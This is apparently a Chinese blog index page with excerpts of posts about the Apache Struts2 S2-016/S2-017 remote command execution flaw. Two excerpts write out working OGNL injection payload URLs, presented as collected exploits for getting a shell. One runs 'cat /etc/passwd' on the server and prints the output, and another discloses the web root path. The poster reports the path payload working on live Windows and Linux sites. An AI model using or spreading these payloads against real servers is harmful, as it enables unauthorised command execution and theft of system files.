一朵奇葩

老系统内容
约 1434 字 预计阅读 3 分钟
昨晚很多安全公司和互联网公司安全部门的工程师们都没睡好觉，通宵达旦的在加班。 Struts这个漏洞这次来势之所以这么凶猛（见昨天的文章，点击右
阅读全文

Struts2 S2-016/S2-017 命令执行带回显、看web路径、getshell exp整理

老系统内容 EXP getshell Shell Struts Web 命令
约 1706 字 预计阅读 4 分钟
大家都发了，，我就整理了一下。友情提示，自己小命比shell重要哦。。 喜欢就点一下感谢吧^_^ 带回显命令执行： http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 爆路径： http://www.example.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D 写文件：
阅读全文

Struts2 S2-016/S2-017 查看物理路径 EXP

老系统内容 EXP Struts 物理
约 41 字 预计阅读 1 分钟
http://www.xxx.com/xxxx.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D 已测试一个win站一个linux站均成功 修改自椰树安全网那个EXP。 [原帖地址]
阅读全文